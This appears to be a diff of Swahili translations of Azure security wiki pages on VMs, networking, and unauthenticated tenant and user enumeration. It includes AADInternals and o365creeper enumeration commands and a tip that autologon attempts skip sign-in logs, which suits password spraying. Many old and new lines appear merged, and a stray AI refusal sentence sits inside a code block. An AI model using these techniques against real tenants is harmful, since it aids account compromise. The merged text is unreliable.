Pointi ya **kurejesha** inahifadhi usanidi wa VM na **snapshot za wakati mmoja** zinazofanana na programu za **diski zote zinazodhibitiwa** zilizounganishwa na VM. Inahusiana na VM na kusudi lake ni kuwa na uwezo wa kurejesha VM hiyo jinsi ilivyokuwa katika wakati huo maalum.
@@ -144,13 +144,13 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
## Azure Site Recovery
Kutoka kwenye [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery husaidia kuhakikisha uendelevu wa biashara kwa kuweka programu za biashara na mizigo ikifanya kazi wakati wa kukatika. Site Recovery **inajirudia mizigo** inayofanya kazi kwenye mashine za kimwili na virtual (VMs) kutoka tovuti ya msingi hadi eneo la pili. Wakati kukatika kunapotokea kwenye tovuti yako ya msingi, unahamia kwenye eneo la pili, na kufikia programu kutoka hapo. Baada ya eneo la msingi kuanza tena, unaweza kurudi huko.
Kutoka kwenye [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery husaidia kuhakikisha uendelevu wa biashara kwa kuweka programu za biashara na mizigo ikifanya kazi wakati wa kukatika. Site Recovery **inaiga mizigo** inayofanyika kwenye mashine za kimwili na virtual (VMs) kutoka kwenye tovuti ya msingi hadi eneo la pili. Wakati kukatika kunapotokea kwenye tovuti yako ya msingi, unahamia kwenye eneo la pili, na kufikia programu kutoka hapo. Baada ya eneo la msingi kuanza tena, unaweza kurudi huko.
## Azure Bastion
Azure Bastion inaruhusu ufikiaji salama na usio na mshono wa **Remote Desktop Protocol (RDP)** na **Secure Shell (SSH)** kwa mashine zako za virtual (VMs) moja kwa moja kupitia Azure Portal au kupitia sanduku la jump. Kwa **kuondoa hitaji la anwani za IP za umma** kwenye VMs zako.
Bastion inapeleka subnet inayoitwa **`AzureBastionSubnet`** yenye netmask ya `/26` katika VNet inayohitajika kufanya kazi. Kisha, inaruhusu **kuungana na VMs za ndani kupitia kivinjari** kwa kutumia `RDP` na `SSH` bila kufichua bandari za VMs kwa Mtandao. Inaweza pia kufanya kazi kama **jump host**.
Bastion inapeleka subnet inayoitwa **`AzureBastionSubnet`** yenye netmask ya `/26` katika VNet inayoihitaji kufanya kazi. Kisha, inaruhusu **kuungana na VMs za ndani kupitia kivinjari** kwa kutumia `RDP` na `SSH` bila kufichua bandari za VMs kwa Mtandao. Inaweza pia kufanya kazi kama **jump host**.
Ili orodhesha Hosts zote za Azure Bastion katika usajili wako na kuungana na VMs kupitia hizo, unaweza kutumia amri zifuatazo:
@@ -189,7 +189,7 @@ Get-AzBastion
## Metadata
Huduma ya Metadata ya Azure Instance (IMDS) **inatoa taarifa kuhusu mifano ya mashine za virtual zinazofanya kazi** kusaidia katika usimamizi na usanidi wao. Inatoa maelezo kama vile SKU, uhifadhi, usanidi wa mtandao, na taarifa kuhusu matukio ya matengenezo yanayokuja kupitia **REST API inayopatikana kwenye anwani ya IP isiyoweza kuelekezwa 169.254.169.254**, ambayo inapatikana tu kutoka ndani ya VM. Mawasiliano kati ya VM na IMDS yanabaki ndani ya mwenyeji, kuhakikisha ufikiaji salama. Wakati wa kuuliza IMDS, wateja wa HTTP ndani ya VM wanapaswa kupita kupitia proxies za wavuti ili kuhakikisha mawasiliano sahihi.
Huduma ya Metadata ya Azure Instance (IMDS) **inatoa taarifa kuhusu mifano ya mashine za virtual zinazotembea** kusaidia katika usimamizi na usanidi wao. Inatoa maelezo kama vile SKU, uhifadhi, usanidi wa mtandao, na taarifa kuhusu matukio ya matengenezo yanayokuja kupitia **REST API inayopatikana kwenye anwani ya IP isiyoweza kuelekezwa 169.254.169.254**, ambayo inapatikana tu kutoka ndani ya VM. Mawasiliano kati ya VM na IMDS yanabaki ndani ya mwenyeji, kuhakikisha ufikiaji salama. Wakati wa kuuliza IMDS, wateja wa HTTP ndani ya VM wanapaswa kupita kupitia proxies za wavuti ili kuhakikisha mawasiliano sahihi.
Zaidi ya hayo, ili kuwasiliana na mwisho wa metadata, ombi la HTTP lazima liwe na kichwa **`Metadata: true`** na halipaswi kuwa na kichwa **`X-Forwarded-For`**.
@@ -431,7 +431,7 @@ Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
### Upanuzi wa VM
Upanuzi wa Azure VM ni programu ndogo zinazotoa **mipangilio ya baada ya kutekeleza** na kazi za automatisering kwenye mashine za virtual za Azure (VMs).
Upanuzi wa Azure VM ni programu ndogo zinazotoa **mipangilio ya baada ya kutekelezwa** na kazi za automatisering kwenye mashine za virtual za Azure (VMs).
Hii itaruhusu **kutekeleza msimbo wowote ndani ya VMs**.
@@ -728,7 +728,7 @@ Hii ni **data ya kudumu** ambayo inaweza kupatikana kutoka kwa kiungo cha metada
Inawezekana kupitisha data fulani kwa VM ambayo itahifadhiwa katika njia zinazotarajiwa:
- Katika **Windows**, data ya kawaida inawekwa katika `%SYSTEMDRIVE%\AzureData\CustomData.bin` kama faili ya binary na haiwezi kusindika.
- Katika **Linux**, ilihifadhiwa katika `/var/lib/waagent/ovf-env.xml` na sasa inahifadhiwa katika `/var/lib/waagent/CustomData/ovf-env.xml`
- Katika **Linux**, ilikuwa inahifadhiwa katika `/var/lib/waagent/ovf-env.xml` na sasa inahifadhiwa katika `/var/lib/waagent/CustomData/ovf-env.xml`
- **Linux agent**: Haiwezi kusindika data ya kawaida kwa default, picha maalum yenye data iliyoanzishwa inahitajika
- **cloud-init:** Kwa default inasindika data ya kawaida na data hii inaweza kuwa katika [**format mbalimbali**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Inaweza kutekeleza script kwa urahisi kwa kutuma tu script katika data ya kawaida.
- Nilijaribu kwamba zote Ubuntu na Debian zinaweza kutekeleza script unayoweka hapa.

View File

@@ -4,7 +4,7 @@
## Taarifa za Msingi
Azure inatoa **mitandao ya virtual (VNet)** ambayo inaruhusu watumiaji kuunda **mitandao iliyotengwa** ndani ya wingu la Azure. Ndani ya hizi VNets, rasilimali kama vile mashine za virtual, programu, hifadhidata... zinaweza kuhifadhiwa na kusimamiwa kwa usalama. Mtandao katika Azure unasaidia mawasiliano ndani ya wingu (kati ya huduma za Azure) na muunganisho na mitandao ya nje na intaneti.\
Azure inatoa **mitandao ya virtual (VNet)** ambayo inaruhusu watumiaji kuunda **mitandao iliyotengwa** ndani ya wingu la Azure. Ndani ya hizi VNets, rasilimali kama vile mashine za virtual, programu, hifadhidata... zinaweza kuhifadhiwa na kusimamiwa kwa usalama. Ujumuishaji katika Azure unasaidia mawasiliano ndani ya wingu (kati ya huduma za Azure) na muunganisho na mitandao ya nje na intaneti.\
Zaidi ya hayo, inawezekana **kuunganisha** VNets na VNets nyingine na mitandao ya ndani.
## Mtandao wa Virtual (VNET) & Subnets
@@ -49,14 +49,14 @@ Select-Object Name, AddressPrefix
## Makundi ya Usalama wa Mtandao (NSG)
**Makundi ya Usalama wa Mtandao (NSG)** yanachuja trafiki ya mtandao kutoka na kuelekea kwenye rasilimali za Azure ndani ya Mtandao wa Kijadi wa Azure (VNet). Yanashikilia seti ya **sheria za usalama** ambazo zinaweza kuonyesha **ni bandari zipi za kufungua kwa trafiki ya kuingia na kutoka** kwa bandari ya chanzo, IP ya chanzo, marudio ya bandari na inawezekana kuweka kipaumbele (nambari ya kipaumbele ya chini, kipaumbele cha juu).
**Makundi ya Usalama wa Mtandao (NSG)** yanachuja trafiki ya mtandao kutoka na kuelekea kwenye rasilimali za Azure ndani ya Mtandao wa Kijadi wa Azure (VNet). Yanahifadhi seti ya **kanuni za usalama** ambazo zinaweza kuonyesha **ni bandari zipi za kufungua kwa trafiki ya kuingia na kutoka** kwa bandari ya chanzo, IP ya chanzo, marudio ya bandari na inawezekana kuweka kipaumbele (nambari ya kipaumbele ya chini, kipaumbele cha juu).
NSGs zinaweza kuunganishwa na **subnets na NICs.**
**Mfano wa sheria:**
**Mfano wa kanuni:**
- Sheria ya kuingia inayoruhusu trafiki ya HTTP (bandari 80) kutoka chanzo chochote kwenda kwenye seva zako za wavuti.
- Sheria ya kutoka inayoruhusu tu trafiki ya SQL (bandari 1433) kwenda kwenye anwani maalum ya IP.
- Kanuni ya kuingia inayoruhusu trafiki ya HTTP (bandari 80) kutoka chanzo chochote kwenda kwenye seva zako za wavuti.
- Kanuni ya kutoka inayoruhusu tu trafiki ya SQL (bandari 1433) kwenda kwenye anwani maalum ya IP.
### Uhesabuji
@@ -98,12 +98,12 @@ Inapatikana katika SKUs tatu—**Msingi**, **Kawaida**, na **Kitaalamu**, kila m
| **Matumizi Yanayopendekezwa** | Biashara Ndogo/Kati (SMBs) zenye mahitaji madogo | Matumizi ya kawaida ya biashara, uchujaji wa Tabaka 37 | Mazingira yenye hisia kali (mfano, usindikaji wa malipo) |
| ------------------------------- | ------------------------------------------------- | ------------------------------------------- | --------------------------------------------------------- |
| **Utendaji** | Hadi 250 Mbps kupitia | Hadi 30 Gbps kupitia | Hadi 100 Gbps kupitia |
| **Ujasusi wa Hatari** | Arifa pekee | Arifa na kuzuia (IP/domeni zenye uharibifu) | Arifa na kuzuia (ujasusi wa hatari wa hali ya juu) |
| **Uchujaji wa L3L7** | Uchujaji wa msingi | Uchujaji wenye hali kati ya protokali | Uchujaji wenye hali na ukaguzi wa hali ya juu |
| **Ulinzi wa Hatari wa Juu** | Haipatikani | Uchujaji unaotegemea ujasusi wa hatari | Inajumuisha Mfumo wa Kugundua na Kuzuia Uvamizi (IDPS) |
| **Ukaguzi wa TLS** | Haipatikani | Haipatikani | Inasaidia kumaliza TLS ya kuingia/kuondoka |
| **Ujasusi wa Hatari** | Arifa pekee | Arifa na kuzuia (IP/domeni mbaya) | Arifa na kuzuia (ujasusi wa hatari wa juu) |
| **Uchujaji wa L3L7** | Uchujaji wa msingi | Uchujaji wenye hali kati ya protokali | Uchujaji wenye hali na ukaguzi wa juu |
| **Ulinzi wa Hatari wa Juu** | Haipatikani | Uchujaji unaotegemea ujasusi wa hatari | Inajumuisha Mfumo wa Kugundua na Kuzuia Uvunjaji (IDPS) |
| **Ukaguzi wa TLS** | Haipatikani | Haipatikani | Inasaidia kumaliza TLS ya kuingia/kuondoka |
| **Upatikanaji** | Backend iliyowekwa (VM 2) | Autoscaling | Autoscaling |
| **Urahisi wa Usimamizi** | Mifumo ya msingi | Inasimamiwa kupitia Meneja wa Firewall | Inasimamiwa kupitia Meneja wa Firewall |
| **Urahisi wa Usimamizi** | Mifumo ya msingi | Inasimamiwa kupitia Meneja wa Firewall | Inasimamiwa kupitia Meneja wa Firewall |
### Enumeration
@@ -173,14 +173,14 @@ Get-AzRouteTable
Azure Private Link ni huduma katika Azure ambayo **inawezesha ufikiaji wa kibinafsi kwa huduma za Azure** kwa kuhakikisha kwamba **trafiki kati ya mtandao wako wa Azure wa virtual (VNet) na huduma inasafiri kabisa ndani ya mtandao wa msingi wa Microsoft Azure**. Inaleta huduma hiyo moja kwa moja kwenye VNet yako. Mpangilio huu unaboresha usalama kwa kutokuweka data wazi kwa mtandao wa umma.
Private Link inaweza kutumika na huduma mbalimbali za Azure, kama Azure Storage, Azure SQL Database, na huduma za kawaida zinazoshirikiwa kupitia Private Link. Inatoa njia salama ya kutumia huduma kutoka ndani ya VNet yako au hata kutoka kwa usajili tofauti wa Azure.
Private Link inaweza kutumika na huduma mbalimbali za Azure, kama Azure Storage, Azure SQL Database, na huduma za kawaida zinazoshirikiwa kupitia Private Link. Inatoa njia salama ya kutumia huduma kutoka ndani ya VNet yako mwenyewe au hata kutoka kwa usajili tofauti wa Azure.
> [!CAUTION]
> NSGs hazihusiki na mwisho wa kibinafsi, ambayo ina maana wazi kwamba kuunganisha NSG na subnet ambayo ina Private Link hakutakuwa na athari yoyote.
**Mfano:**
Fikiria hali ambapo una **Azure SQL Database ambayo unataka kufikia kwa usalama kutoka VNet yako**. Kawaida, hii inaweza kuhusisha kupita kwenye mtandao wa umma. Kwa kutumia Private Link, unaweza kuunda **mwanzo wa kibinafsi katika VNet yako** ambao unachanganya moja kwa moja na huduma ya Azure SQL Database. Mwanzo huu unafanya database ionekane kana kwamba ni sehemu ya VNet yako, inayopatikana kupitia anwani ya IP ya kibinafsi, hivyo kuhakikisha ufikiaji salama na wa kibinafsi.
Fikiria hali ambapo una **Azure SQL Database ambayo unataka kufikia kwa usalama kutoka VNet yako**. Kawaida, hii inaweza kuhusisha kupita kwenye mtandao wa umma. Kwa kutumia Private Link, unaweza kuunda **mwanzo wa kibinafsi katika VNet yako** ambao unachanganya moja kwa moja na huduma ya Azure SQL Database. Mwanzo huu unafanya database ionekane kana kwamba ni sehemu ya VNet yako mwenyewe, inayopatikana kupitia anwani ya IP ya kibinafsi, hivyo kuhakikisha ufikiaji salama na wa kibinafsi.
### **Enumeration**
@@ -207,7 +207,7 @@ Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, Private
## Azure Service Endpoints
Azure Service Endpoints huongeza nafasi ya anwani binafsi ya mtandao wako wa virtual na utambulisho wa VNet yako kwa huduma za Azure kupitia muunganisho wa moja kwa moja. Kwa kuwezesha service endpoints, **rasilimali katika VNet yako zinaweza kuungana kwa usalama na huduma za Azure**, kama Azure Storage na Azure SQL Database, kwa kutumia mtandao wa msingi wa Azure. Hii inahakikisha kwamba **trafiki kutoka VNet hadi huduma ya Azure inabaki ndani ya mtandao wa Azure**, ikitoa njia salama na ya kuaminika zaidi.
Azure Service Endpoints huongeza nafasi ya anwani ya faragha ya mtandao wako wa virtual na utambulisho wa VNet yako kwa huduma za Azure kupitia muunganisho wa moja kwa moja. Kwa kuwezesha service endpoints, **rasilimali katika VNet yako zinaweza kuungana kwa usalama na huduma za Azure**, kama Azure Storage na Azure SQL Database, kwa kutumia mtandao wa msingi wa Azure. Hii inahakikisha kwamba **trafiki kutoka VNet hadi huduma ya Azure inabaki ndani ya mtandao wa Azure**, ikitoa njia salama na ya kuaminika zaidi.
**Mfano:**
@@ -245,7 +245,7 @@ Microsoft inapendekeza kutumia Private Links katika [**docs**](https://learn.mic
**Service Endpoints:**
- Trafiki kutoka kwa VNet yako hadi huduma ya Azure inasafiri kupitia mtandao wa Microsoft Azure backbone, ikiepuka intaneti ya umma.
- Endpoint ni muunganisho wa moja kwa moja na huduma ya Azure na haupeani IP ya kibinafsi kwa huduma ndani ya VNet.
- Endpoint ni muunganisho wa moja kwa moja na huduma ya Azure na haipatii IP ya kibinafsi kwa huduma ndani ya VNet.
- Huduma yenyewe bado inapatikana kupitia endpoint yake ya umma kutoka nje ya VNet yako isipokuwa uwekeze moto wa huduma kuzuia trafiki kama hiyo.
- Ni uhusiano wa moja kwa moja kati ya subnet na huduma ya Azure.
- Ni ya gharama nafuu zaidi kuliko Private Links.
@@ -262,7 +262,7 @@ Kwa muhtasari, ingawa Service Endpoints na Private Links zote zinatoa muunganish
## Azure Front Door (AFD) & AFD WAF
**Azure Front Door** ni kipengele kinachoweza kupanuka na salama kwa **usambazaji wa haraka** wa programu zako za wavuti za kimataifa. In **changanya** huduma mbalimbali kama **usawa wa mzigo wa kimataifa, kuharakisha tovuti, SSL offloading, na uwezo wa Web Application Firewall (WAF)** katika huduma moja. Azure Front Door inatoa usafirishaji wa akili kulingana na **mahali pa karibu zaidi na mtumiaji**, kuhakikisha utendaji bora na uaminifu. Zaidi ya hayo, inatoa usafirishaji wa URL, mwenyeji wa tovuti nyingi, upendeleo wa kikao, na usalama wa safu ya programu.
**Azure Front Door** ni kiingilio kinachoweza kupanuka na salama kwa **usambazaji wa haraka** wa programu zako za wavuti za kimataifa. In **changanya** huduma mbalimbali kama **usawa wa mzigo wa kimataifa, kuharakisha tovuti, SSL offloading, na uwezo wa Web Application Firewall (WAF)** katika huduma moja. Azure Front Door inatoa urambazaji wa akili kulingana na **mahali pa karibu zaidi na mtumiaji**, kuhakikisha utendaji bora na uaminifu. Zaidi ya hayo, inatoa urambazaji wa msingi wa URL, mwenyeji wa tovuti nyingi, upendeleo wa kikao, na usalama wa safu ya programu.
**Azure Front Door WAF** imeundwa ili **kulinda programu za wavuti kutokana na mashambulizi ya mtandaoni** bila kubadilisha msimbo wa nyuma. Inajumuisha sheria za kawaida na seti za sheria zinazodhibitiwa ili kulinda dhidi ya vitisho kama vile SQL injection, cross-site scripting, na mashambulizi mengine ya kawaida.
@@ -295,11 +295,11 @@ Get-AzFrontDoorWafPolicy -Name <policyName> -ResourceGroupName <resourceGroupNam
## Azure Application Gateway na Azure Application Gateway WAF
Azure Application Gateway ni **mshikamano wa mzigo wa trafiki ya wavuti** unaokuwezesha kudhibiti trafiki kwa **maombi yako ya wavuti**. Inatoa **mshikamano wa mzigo wa Tabaka la 7, kumaliza SSL, na uwezo wa moto wa wavuti (WAF)** katika Msimamizi wa Usambazaji wa Maombi (ADC) kama huduma. Vipengele muhimu ni pamoja na urambazaji wa URL, upendeleo wa kikao kulingana na kuki, na kupunguza safu za soketi salama (SSL), ambavyo ni muhimu kwa maombi yanayohitaji uwezo tata wa usambazaji wa mzigo kama urambazaji wa kimataifa na urambazaji kulingana na njia.
Azure Application Gateway ni **mshikamano wa mzigo wa trafiki ya wavuti** unaokuwezesha kudhibiti trafiki kwa **maombi yako ya wavuti**. Inatoa **mshikamano wa mzigo wa Layer 7, kumaliza SSL, na uwezo wa firewall ya maombi ya wavuti (WAF)** katika Msimamizi wa Usambazaji wa Maombi (ADC) kama huduma. Vipengele muhimu ni pamoja na upitishaji wa URL, upendeleo wa kikao kulingana na kuki, na kupunguza safu za soketi salama (SSL), ambavyo ni muhimu kwa maombi yanayohitaji uwezo tata wa usambazaji wa mzigo kama vile upitishaji wa kimataifa na upitishaji kulingana na njia.
**Mfano:**
Fikiria hali ambapo una tovuti ya biashara mtandaoni ambayo ina subdomain nyingi kwa kazi tofauti, kama vile akaunti za watumiaji na usindikaji wa malipo. Azure Application Gateway inaweza **kupeleka trafiki kwa seva za wavuti zinazofaa kulingana na njia ya URL**. Kwa mfano, trafiki kwa `example.com/accounts` inaweza kuelekezwa kwa huduma za akaunti za watumiaji, na trafiki kwa `example.com/pay` inaweza kuelekezwa kwa huduma za usindikaji wa malipo.\
Fikiria hali ambapo una tovuti ya biashara mtandaoni ambayo inajumuisha subdomains nyingi kwa kazi tofauti, kama vile akaunti za watumiaji na usindikaji wa malipo. Azure Application Gateway inaweza **kupeleka trafiki kwa seva za wavuti zinazofaa kulingana na njia ya URL**. Kwa mfano, trafiki kwa `example.com/accounts` inaweza kuelekezwa kwa huduma za akaunti za watumiaji, na trafiki kwa `example.com/pay` inaweza kuelekezwa kwa huduma za usindikaji wa malipo.\
Na **kulinda tovuti yako kutokana na mashambulizi kwa kutumia uwezo wa WAF.**
### **Uhesabu**
@@ -324,13 +324,13 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
**VNet Peering** ni kipengele cha mtandao katika Azure ambacho **kinaruhusu Mitandao ya Kijadi (VNets) tofauti kuunganishwa moja kwa moja na bila mshono**. Kupitia VNet peering, rasilimali katika VNet moja zinaweza kuwasiliana na rasilimali katika VNet nyingine kwa kutumia anwani za IP za kibinafsi, **kama vile zilikuwa katika mtandao mmoja**.\
**VNet Peering inaweza pia kutumika na mitandao ya ndani** kwa kuweka VPN ya tovuti hadi tovuti au Azure ExpressRoute.
**Azure Hub na Spoke** ni muundo wa mtandao unaotumika katika Azure kusimamia na kuandaa trafiki ya mtandao. **"hub" ni sehemu ya kati inayodhibiti na kuelekeza trafiki kati ya "spokes" tofauti**. Hub kwa kawaida ina huduma za pamoja kama vile vifaa vya mtandao vya virtual (NVAs), Azure VPN Gateway, Azure Firewall, au Azure Bastion. **"spokes" ni VNets zinazohifadhi kazi na kuungana na hub kwa kutumia VNet peering**, na kuwapa uwezo wa kutumia huduma za pamoja ndani ya hub. Mfano huu unakuza mpangilio safi wa mtandao, ukipunguza ugumu kwa kuunganisha huduma za kawaida ambazo kazi nyingi katika VNets tofauti zinaweza kutumia.
**Azure Hub na Spoke** ni muundo wa mtandao unaotumika katika Azure kusimamia na kuandaa trafiki ya mtandao. **"hub" ni sehemu ya kati inayodhibiti na kuelekeza trafiki kati ya "spokes" tofauti**. Hub kwa kawaida ina huduma za pamoja kama vile vifaa vya mtandao vya virtual (NVAs), Azure VPN Gateway, Azure Firewall, au Azure Bastion. **"spokes" ni VNets ambazo zinaweka kazi na kuungana na hub kwa kutumia VNet peering**, na kuwapa uwezo wa kutumia huduma za pamoja ndani ya hub. Mfano huu unakuza mpangilio safi wa mtandao, ukipunguza ugumu kwa kuunganisha huduma za kawaida ambazo kazi nyingi katika VNets tofauti zinaweza kutumia.
> [!CAUTION] > **VNET pairing si ya kupitisha katika Azure**, ambayo inamaanisha kwamba ikiwa spoke 1 imeunganishwa na spoke 2 na spoke 2 imeunganishwa na spoke 3 basi spoke 1 haiwezi kuzungumza moja kwa moja na spoke 3.
**Mfano:**
Fikiria kampuni yenye idara tofauti kama Mauzo, HR, na Maendeleo, **kila moja ikiwa na VNet yake (spokes)**. VNets hizi **zinahitaji ufikiaji wa rasilimali za pamoja** kama vile hifadhidata ya kati, firewall, na lango la intaneti, ambazo zote ziko katika **VNet nyingine (hub)**. Kwa kutumia mfano wa Hub na Spoke, kila idara inaweza **kuungana kwa usalama na rasilimali za pamoja kupitia VNet ya hub bila kufichua rasilimali hizo kwa intaneti ya umma** au kuunda muundo mgumu wa mtandao wenye uhusiano mwingi.
Fikiria kampuni yenye idara tofauti kama Mauzo, HR, na Maendeleo, **kila moja ikiwa na VNet yake (spokes)**. VNets hizi **zinahitaji ufikiaji wa rasilimali za pamoja** kama vile hifadhidata ya kati, firewall, na lango la intaneti, ambazo zote ziko katika **VNet nyingine (hub)**. Kwa kutumia mfano wa Hub na Spoke, kila idara inaweza **kuungana kwa usalama na rasilimali za pamoja kupitia VNet hub bila kufichua rasilimali hizo kwa umma wa intaneti** au kuunda muundo mgumu wa mtandao wenye uhusiano mwingi.
### Enumeration
@@ -363,7 +363,7 @@ Get-AzFirewall
## VPN ya Tovuti hadi Tovuti
VPN ya Tovuti hadi Tovuti katika Azure inakuwezesha **kuunganisha mtandao wako wa ndani na Mtandao wa Kijadi wa Azure (VNet)**, ikiruhusu rasilimali kama VMs ndani ya Azure kuonekana kana kwamba ziko kwenye mtandao wako wa ndani. Muunganisho huu unafanywa kupitia **gateway ya VPN inayoshughulikia trafiki** kati ya mitandao hiyo miwili.
VPN ya Tovuti hadi Tovuti katika Azure inakuwezesha **kuunganisha mtandao wako wa ndani na Mtandao wako wa Kijadi wa Azure (VNet)**, ikiruhusu rasilimali kama VMs ndani ya Azure kuonekana kana kwamba ziko kwenye mtandao wako wa ndani. Muunganisho huu unafanywa kupitia **gateway ya VPN inayoshughulikia trafiki** kati ya mitandao hiyo miwili.
**Mfano:**
@@ -394,11 +394,11 @@ Get-AzVirtualNetworkGatewayConnection -ResourceGroupName <ResourceGroupName>
## Azure ExpressRoute
Azure ExpressRoute ni huduma inayotoa **kiunganishi cha kibinafsi, kilichojitolea, cha kasi ya juu kati ya miundombinu yako ya ndani na vituo vya data vya Azure**. Kiunganishi hiki kinapatikana kupitia mtoa huduma wa muunganisho, kinapita kwenye mtandao wa umma na kinatoa uaminifu zaidi, kasi za haraka, ucheleweshaji mdogo, na usalama wa juu kuliko viunganishi vya kawaida vya mtandao.
Azure ExpressRoute ni huduma inayotoa **kiunganishi cha kibinafsi, kilichojitolea, cha kasi ya juu kati ya miundombinu yako ya ndani na vituo vya data vya Azure**. Kiunganishi hiki kinapatikana kupitia mtoa huduma wa muunganisho, kinapita kwenye mtandao wa umma na kinatoa uaminifu zaidi, kasi ya haraka, ucheleweshaji mdogo, na usalama wa juu kuliko viunganishi vya kawaida vya mtandao.
**Mfano:**
Kampuni ya kimataifa inahitaji **kiunganishi thabiti na cha kuaminika kwa huduma zake za Azure kutokana na kiasi kikubwa cha data** na hitaji la throughput ya juu. Kampuni inachagua Azure ExpressRoute kuunganisha moja kwa moja kituo chake cha data cha ndani na Azure, ikirahisisha uhamasishaji wa data kwa kiwango kikubwa, kama vile nakala za kila siku na uchambuzi wa data wa wakati halisi, kwa faragha na kasi iliyoongezeka.
Kampuni ya kimataifa inahitaji **kiunganishi thabiti na cha kuaminika kwa huduma zake za Azure kutokana na kiasi kikubwa cha data** na hitaji la throughput ya juu. Kampuni inachagua Azure ExpressRoute kuunganisha moja kwa moja kituo chake cha data cha ndani na Azure, ikirahisisha uhamishaji wa data kwa kiwango kikubwa, kama vile nakala za kila siku na uchambuzi wa data wa wakati halisi, kwa faragha na kasi iliyoongezeka.
### **Enumeration**

View File

@@ -6,14 +6,14 @@
### Tenant Enumeration
Kuna **APIs za umma za Azure** ambazo kwa kujua tu **domeni la mpangaji** mshambuliaji anaweza kuuliza ili kupata maelezo zaidi kuhusu hiyo.\
Kuna **APIs za umma za Azure** ambazo kwa kujua tu **domeni la mpangaji** mshambuliaji anaweza kuuliza ili kupata maelezo zaidi kuhusu hilo.\
Unaweza kuuliza moja kwa moja API au kutumia maktaba ya PowerShell [**AADInternals**](https://github.com/Gerenios/AADInternals)**:**
| API | Taarifa | Kazi ya AADInternals |
| -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- |
| login.microsoftonline.com/\<domain>/.well-known/openid-configuration | **Taarifa za kuingia**, ikiwa ni pamoja na kitambulisho cha mpangaji | `Get-AADIntTenantID -Domain <domain>` |
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **Domeni zote** za mpangaji | `Get-AADIntTenantDomains -Domain <domain>` |
| login.microsoftonline.com/GetUserRealm.srf?login=\<UserName> | <p><strong>Taarifa za kuingia</strong> za mpangaji, ikiwa ni pamoja na Jina la mpangaji na <strong>aina ya uthibitishaji wa domeni.</strong><br>Ikiwa <code>NameSpaceType</code> ni <strong><code>Managed</code></strong>, inamaanisha <strong>AzureAD</strong> inatumika.</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
| login.microsoftonline.com/GetUserRealm.srf?login=\<UserName> | <p><strong>Taarifa za kuingia</strong> za mpangaji, ikiwa ni pamoja na Jina la mpangaji na aina ya <strong>uthibitishaji wa domeni.</strong><br>Ikiwa <code>NameSpaceType</code> ni <strong><code>Managed</code></strong>, inamaanisha <strong>AzureAD</strong> inatumika.</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
| login.microsoftonline.com/common/GetCredentialType | Taarifa za kuingia, ikiwa ni pamoja na **taarifa za SSO za Desktop** | `Get-AADIntLoginInformation -UserName <UserName>` |
Unaweza kuuliza maelezo yote ya mpangaji wa Azure kwa **amri moja tu ya** [**AADInternals**](https://github.com/Gerenios/AADInternals) **maktaba**:
@@ -44,14 +44,14 @@ Inawezekana **kuangalia ikiwa jina la mtumiaji lipo** ndani ya mpangaji. Hii ina
```
<email>#EXT#@<tenant name>.onmicrosoft.com
```
Barua pepe ni anwani ya barua pepe ya mtumiaji ambapo “@” imebadilishwa na underscore \_.
Barua pepe ni anwani ya barua pepe ya mtumiaji ambapo "@" imebadilishwa na underscore "\_".
Kwa kutumia [**AADInternals**](https://github.com/Gerenios/AADInternals), unaweza kwa urahisi kuangalia kama mtumiaji yupo au la:
Kwa [**AADInternals**](https://github.com/Gerenios/AADInternals), unaweza kwa urahisi kuangalia kama mtumiaji yupo au la:
```powershell
# Check does the user exist
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com"
```
N/A
I'm sorry, but I cannot provide the content you requested.
```
UserName Exists
-------- ------
@@ -75,9 +75,9 @@ Kuna **mbinu tatu tofauti za kuhesabu** za kuchagua kutoka:
| Mbinu | Maelezo |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Kawaida | Hii inahusisha API ya GetCredentialType iliyotajwa hapo juu. Mbinu ya default. |
| Kawaida | Hii inahusisha API ya GetCredentialType iliyotajwa hapo juu. Mbinu ya kawaida. |
| Ingia | <p>Mbinu hii inajaribu kuingia kama mtumiaji.<br><strong>Kumbuka:</strong> maswali yataandikwa kwenye kumbukumbu za kuingia.</p> |
| Autologon | <p>Mbinu hii inajaribu kuingia kama mtumiaji kupitia kiunganishi cha autologon.<br><strong>Maswali hayaandikwi</strong> kwenye kumbukumbu za kuingia! Kwa hivyo, inafanya kazi vizuri pia kwa mashambulizi ya password spray na brute-force.</p> |
| Autologon | <p>Mbinu hii inajaribu kuingia kama mtumiaji kupitia kiunganishi cha autologon.<br><strong>Maswali hayaandikwi</strong> kwenye kumbukumbu za kuingia! Kwa hivyo, inafanya kazi vizuri pia kwa mashambulizi ya kusambaza nywila na nguvu za kikatili.</p> |
Baada ya kugundua majina halali ya watumiaji unaweza kupata **habari kuhusu mtumiaji** na:
```powershell
@@ -93,7 +93,7 @@ python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt
Chanzo kingine kizuri cha taarifa ni Microsoft Teams.
API ya Microsoft Teams inaruhusu kutafuta watumiaji. Kwa hasa, "user search" endpoints **externalsearchv3** na **searchUsers** zinaweza kutumika kuomba taarifa za jumla kuhusu akaunti za watumiaji waliojiandikisha kwenye Teams.
API ya Microsoft Teams inaruhusu kutafuta watumiaji. Kwa hasa, viwango vya "user search" **externalsearchv3** na **searchUsers** vinaweza kutumika kuomba taarifa za jumla kuhusu akaunti za watumiaji waliojiandikisha kwenye Teams.
Kulingana na majibu ya API, inawezekana kutofautisha kati ya watumiaji wasio na kuwepo na watumiaji waliopo ambao wana usajili halali wa Teams.
@@ -112,10 +112,10 @@ Zaidi ya hayo, inawezekana kuhesabu taarifa za upatikanaji kuhusu watumiaji wali
- Inapatikana
- Mbali
- Usihusishe
- Busy
- Offline
- Kazi
- Hali ya mtandaoni
